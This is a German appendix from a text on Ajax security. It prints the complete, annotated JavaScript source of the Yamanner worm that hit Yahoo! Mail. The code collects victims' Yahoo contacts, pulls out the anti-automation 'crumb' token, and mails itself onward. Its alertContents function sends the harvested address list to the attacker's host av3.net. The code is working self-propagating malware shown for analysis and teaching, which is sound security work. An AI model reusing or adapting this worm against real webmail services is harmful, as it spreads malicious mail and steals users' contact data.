Ajax Security Anhang C: Der Quelltext von Yamanner, dem Yahoo!-Wurm

Den Original-Quelltext gibt es z.B. hier. Darin ist auch das <img>-Tag enthalten, über das der Code eingeschleust wurde. Hier folgt nur der eigentliche Wurmcode, den ich formatiert und kommentiert habe.


var http_request = false;
var Email = '';
var IDList = '';
var CRumb = '';


// Hilfsfunktion zum Erzeugen und Senden von XMLHttpRequests 
function makeRequest(url, Func, Method, Param) {
  if (window.XMLHttpRequest) {
    http_request = new XMLHttpRequest();
  }
  else if (window.ActiveXObject) {
    http_request = new ActiveXObject('Microsoft.XMLHTTP');
  }
  http_request.target=""onreadystatechange = Func;
  http_request.open(Method, url, true);
  if( Method == 'GET') 
    http_request.send(null);
  else
    http_request.send(Param);
}


// nutzloser Versuch, eine Webseite zu öffnen 
// (Schreibfehler in der URL) 
window.open('http://www,lastdata.com');


// Ermitteln des aktuell genutzten Servers, damit die
// XMLHttpRequests später an den richtigen Server geschickt
// werden 
ServerUrl = url0;
USIndex = ServerUrl.indexOf('us.', 0);
MailIndex = ServerUrl.indexOf('.mail', 0);
CutLen = MailIndex - USIndex - 3;
var Server = ServerUrl.substr(USIndex + 3, CutLen);


// Diese Funktion sammelt die E-Mail-Adressen, an die der Wurm später
// geschickt werden soll 
function GetIDs(HtmlContent) {
  IDList = '';
  StartString = ' <td>';
  EndString = '</td>';
  i = 0;
  StartIndex = HtmlContent.indexOf(StartString, 0);
  while(StartIndex >= 0) { 
    EndIndex = HtmlContent.indexOf(EndString, StartIndex);
    CutLen = EndIndex - StartIndex - StartString.length;
    YahooID = HtmlContent.substr(StartIndex + StartString.length, CutLen);
  if( YahooID.indexOf('@yahoo.com', 0) > 0 ¦¦ YahooID.indexOf('@yahoogroups.com', 0) > 0 )
    // Nur Adressen, die auf '@yahoo.com' oder '@yahoogroups.com' enden.
    // sind von Interesse 
    IDList = IDList + ',' + YahooID ;
    StartString = '</tr>';
    StartIndex = HtmlContent.indexOf(StartString, StartIndex + 20);
    StartString = ' <td>';
    StartIndex = HtmlContent.indexOf(StartString, StartIndex + 20);
    i++;
  }
  if(IDList.substr(0,1) == ',')
    IDList = IDList.substr(1, IDList.length);
  if(IDList.indexOf(',', 0) >0) { 
    IDListArray = IDList.split(',');
    Email = IDListArray[0];
    IDList = IDList.replace(Email + ',', '');
  }
  
  // Die E-Mail-Adresse des aktuellen und des vorherigen Opfers 
  // werden aus der Liste gelöscht, damit der Wurm sich nicht
  // erneut an diese beiden Opfer sendet 
  CurEmail = spamform.NE.value;
  IDList = IDList.replace(CurEmail + ',', '');
  IDList = IDList.replace(',' + CurEmail, '');
  IDList = IDList.replace(CurEmail,'');
  UserEmail = showLetter.FromAddress.value;
  IDList = IDList.replace(',' + UserEmail, '');
  IDList = IDList.replace(UserEmail + ',', '');
  IDList = IDList.replace(UserEmail, '');
  return IDList;
}


// Diese Funktion sammelt die Mailadressen und startet dann
// das Erzeugen der zu versendenden Wurm-Mail 
function ListContacts() {
  if (http_request.readyState == 4) {
    if (http_request.status == 200) {
      HtmlContent = http_request.responseText;
      IDList = GetIDs(HtmlContent);
      makeRequest('http://us.' + Server + '.mail.yahoo.com/ym/Compose/?rnd=' + Math.random(), Getcrumb, 'GET', null);
    }
  }
}


// Diese Funktion ermittelt den 'crumb' genannten, zufälligen
// Hash-Wert, mit dem Yahoo! ein automatisches Versenden von
// E-Mails verhindert 
function ExtractStr(HtmlContent) { 
  // Da " benötigt, aber nicht verwendet werden können, werden
  // sie in Unicode kodiert
  // Samy verwendete für diesen Zweck eine Variable und die
  // Funktion String.fromCharCode() 
  StartString = 'name=\u0022.crumb\u0022value=\u0022';
  EndString = '\u0022';
  i = 0;
  StartIndex = HtmlContent.indexOf(StartString, 0);
  EndIndex = HtmlContent.indexOf(EndString, StartIndex + StartString.length);
  CutLen = EndIndex - StartIndex - StartString.length;
  crumb = HtmlContent.substr(StartIndex + StartString.length, CutLen);
  return crumb;
}


// Diese Funktion erzeugt die Mail, mit der der Wurm weiter
// verbreitet wird 
function Getcrumb() { 
  if (http_request.readyState == 4) { 
    if (http_request.status == 200) { 
      HtmlContent = http_request.responseText;
      CRumb = ExtractStr(HtmlContent);
      MyBody = 'this is test';
      MySubj = 'New Graphic Site';
      Url = 'http://us.' + Server + '.mail.yahoo.com/ym/Compose';
      var ComposeAction = compose.action;
      MidIndex = ComposeAction.indexOf('&Mid=', 0);
      incIndex = ComposeAction.indexOf('&inc', 0);
      CutLen = incIndex - MidIndex - 5;
      var MyMid = ComposeAction.substr(MidIndex + 5, CutLen);
      QIndex = ComposeAction.indexOf('?box=', 0);
      AIndex = ComposeAction.indexOf('&Mid', 0);
      CutLen = AIndex - QIndex - 5;
      var BoxName = ComposeAction.substr(QIndex + 5, CutLen);
      Param = 'SEND=1&SD=&SC=&CAN=&docCharset=windows-1256&PhotoMailUser=
          &PhotoToolInstall=&OpenInsertPhoto=&PhotoGetStart=0&SaveCopy=no
          &PhotoMailInstallOrigin=&.crumb=RUMBVAL&Mid=EMAILMID&inc=&AttFol=
          &box=BOXNAME&FwdFile=YM_FM&FwdMsg=EMAILMID&FwdSubj=EMAILSUBJ
          &FwdInline=&OriginalFrom=FROMEMAIL&OriginalSubject=EMAILSUBJ
          &InReplyTo=&NumAtt=0&AttData=&UplData=&OldAttData=&OldUplData=
          &FName=&ATT=&VID=&Markers=&NextMarker=0&Thumbnails=&PhotoMailWith=
          &BrowseState=&PhotoIcon=&ToolbarState=&VirusReport=&Attachments=
          &Background=&BGRef=&BGDesc=&BGDef=&BGFg=&BGFF=&BGFS=&BGSolid=
          &BGCustom=&PlainMsg=%3Cbr%3E%3Cbr%3ENote%3A+forwarded+message+attached.
          &PhotoFrame=&PhotoPrintAtHomeLink=&PhotoSlideShowLink=&PhotoPrintLink=
          &PhotoSaveLink=&PhotoPermCap=&PhotoPermPath=&PhotoDownloadUrl=
          &PhotoSaveUrl=&PhotoFlags=&start=compose&bmdomain=&showcc=&showbcc=
          &AC_Done=&AC_ToList=0%2C&AC_CcList=&AC_BccList=&sendtop=Send
          &savedrafttop=Save+as+a+Draft&canceltop=Cancel&FromAddr=
          &To=TOEMAIL              // Die erste gefundene Adresse 
          &Cc=
          &Bcc=BCCLIST             // Die weiteren gefundenen Adressen 
          &Subj=EMAILSUBJ&Body=%3CBR%3E%3CBR%3ENote%3A+forwarded+message+attached.
          &Format=html&sendbottom=Send&savedraftbottom=Save+as+a+Draft
          &cancelbottom=Cancel&cancelbottom=Cancel';
      Param = Param.replace('BOXNAME', BoxName);
      Param = Param.replace('RUMBVAL', CRumb);
      Param = Param.replace('BCCLIST', IDList);
        // IDList enthält die gesammelten Adressen 
      Param = Param.replace('TOEMAIL', Email);
      Param = Param.replace('FROMEMAIL', 'av3@yahoo.com');
      Param = Param.replace('EMAILBODY', MyBody);
      Param = Param.replace('PlainMESSAGE', '');
      Param = Param.replace('EMAILSUBJ', MySubj);
      Param = Param.replace('EMAILSUBJ', MySubj);
      Param = Param.replace('EMAILSUBJ', MySubj);
        // replace() ersetzt immer nur das erste Vorkommen,
        // so dass die Funktion hier mehrmals aufgerufen
        // werden musste, um alle Vorkommen zu ersetzen 
      Param = Param.replace('EMAILMID', MyMid);
      Param = Param.replace('EMAILMID', MyMid);
      makeRequest(Url, alertContents, 'POST', Param);
    }
  }
}


// Diese Funktion sendet die gesammelten Daten an den Server des
// Wurm-Autors 
function alertContents() {
  if (http_request.readyState == 4) {
    window.navigate('http://www.av3.net/?ShowFolder&rb=Sent&reset=1
        &YY=75867&inc=25&order=down&sort=date&pos=0&view=a&head=f&box=Inbox
        &ShowFolder?rb=Sent&reset=1&YY=75867&inc=25&order=down&sort=date
        &pos=0&view=a&head=f&box=Inbox&ShowFolder?rb=Sent&reset=1&YY=75867
        &inc=25&order=down&sort=date&pos=0&view=a&head=f&box=Inbox&BCCList='
        + IDList)
  }
}


// Mit diesem Request wird der ganze Wurmcode gestartet: Mit Hilfe der
// "QuickBuilder"-Funktion von Yahoo! werden die Adressen angefordert 
makeRequest('http://us.' + Server + '.mail.yahoo.com/ym/QuickBuilder?build=Continue
    &cancel=&continuetop=Continue&canceltop=Cancel&Inbox=Inbox&Sent=Sent&pfolder=all
    &freqCheck=&freq=1&numdays=on&date=180&ps=1&numadr=100&continuebottom=Continue
    &cancelbottom=Cancel&rnd=' + Math.random(), ListContacts, 'GET', null)